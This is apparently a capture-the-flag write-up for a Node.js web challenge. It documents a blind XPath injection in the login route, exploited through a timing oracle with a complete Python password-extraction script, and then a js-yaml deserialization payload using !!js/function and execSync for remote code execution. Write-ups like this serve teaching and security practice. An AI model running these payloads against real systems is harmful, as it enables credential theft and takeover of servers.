BackdoorCTF: Trust Issues
CTF: BackdoorCTF 2025 Challenge files: /backdoorctf/Trust_issues
We are provided a webapp and its source which seems to be node js, here are the files provided to analyse:
./data.xml ./docker-compose.yml ./Dockerfile ./flag.txt ./package-lock.json ./package.json ./protected/index.html ./protected/store.html ./public/login.html ./public/register.html ./server.js
data.xml seems to contains some credentials:
<?xml version="1.0" encoding="UTF-8"?>
<database>
<users>
<user>
<username>jdoe</username>
<password>summer2023</password>
<role>employee</role>
<id>101</id>
</user>
<user>
<username>admin</username>
<password>fakepassword</password>
<role>admin</role>
<id>001</id>
</user>
</database>
Read through and one thing that stands out is the injection of input into XPATH queries in many places, but mainly here in the login implementation:
app.post('/login', async (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).send('Missing username or password');
}
const query = `//user[username/text()='${username}']`;
const userNode = xpath.select(query, xmlDoc)[0];
if (userNode) {
await new Promise(resolve => setTimeout(resolve, 2000));
}
if (!userNode) {
return res.status(401).send('Invalid username or password');
}
const storedPassword = xpath.select1('string(password)', userNode);
if (storedPassword !== password) {
return res.status(401).send('Invalid username or password');
}
const sid = Math.random().toString(36).slice(2);
sessions[sid] = xpath.select1('string(username)', userNode);
res.cookie('sid', sid, {
httpOnly: true,
sameSite: 'Lax',
});
res.redirect('/index');
});
Also note that if the username is matched and found in the xml, it waits for 2 seconds before continuing.
That delay provided a timing oracle: if a query matched at least one user, the response time would be significantly larger than for a query that matched nothing.
if (userNode) {
await new Promise(resolve => setTimeout(resolve, 2000));
}
I injected the following query into the username field to exploit the timing oracle and extract the password one by one.
# here 'i' is the index and 'c' is the character we are checking
admin' and substring(password/text(), {i}, 1) = '{c}
I created a python script to do it faster:
import requests
import time
url = "http://localhost:6014/login"
def send_payload(username_payload):
data = {
"username": username_payload,
"password": "something"
}
start = time.time()
r = requests.post(url, data=data)
return time.time() - start
# Step 1: Find password length
password_length = 100
# Step 2: Find password characters
charset = "abcdefghijklmnopqrstuvwxyz"
password = ""
print("Finding password characters...")
for i in range(1, password_length + 1):
found_char = False
for c in charset:
payload = f"admin' and substring(password/text(), {i}, 1) = '{c}"
elapsed = send_payload(payload)
print(f"Pos {i}, testing '{c}': {elapsed:.2f}s")
if elapsed > 2:
password += c
print(f"Found char '{c}' at position {i}")
found_char = True
break
if not found_char:
print(f"No matching character found at position {i}, stopping.")
break
print(f"Extracted password: {password}")
Recovered the admin password as df08cf and logged in successfully.
Read through the code and you should probably see a usage of 'yaml.load' here:
app.post('/admin/create', requireAdmin, (req, res) => {
console.log('HIT /admin/create', req.body);
const { filename, fileContent } = req.body;
if (!filename || !fileContent) {
return res.status(400).send('Missing filename or YAML content');
}
const datePrefix = new Date().toISOString().split('T')[0];
const safeBase = path.basename(filename);
const finalName = `${datePrefix}_${safeBase}`;
if (finalName === 'config.yml') {
return res.status(400).send('That filename is not allowed');
}
const targetPath = path.join(TMP_DIR, finalName);
try {
fs.writeFileSync(targetPath, fileContent, 'utf8');
let parsed;
try {
parsed = yaml.load(fileContent);
const applied = '' + parsed;
return res.json({
success: true,
filename: finalName,
result: applied,
});
} catch (e) {
return res.status(400).json({
success: false,
filename: finalName,
error: 'Invalid YAML',
details: e.message,
});
}
} catch (err) {
console.error('Error writing file:', err);
return res.status(500).json({ success: false, error: 'Failed to save file' });
}
});
The key issues here were the use of yaml.load with attacker-controlled input and the conversion of parsed to a string using '' + parsed. yaml.load in js-yaml uses the full schema by default, which supports special tags such as !tag:yaml.org,2002:js/function that construct JavaScript functions. If the parsed object has a toString property that is a function, the expression '' + parsed calls that toString and uses its return value.
Payload to get RCE:
!!js/function "function() { return process.mainModule.require('child_process').execSync('cat flag.txt').toString(); }()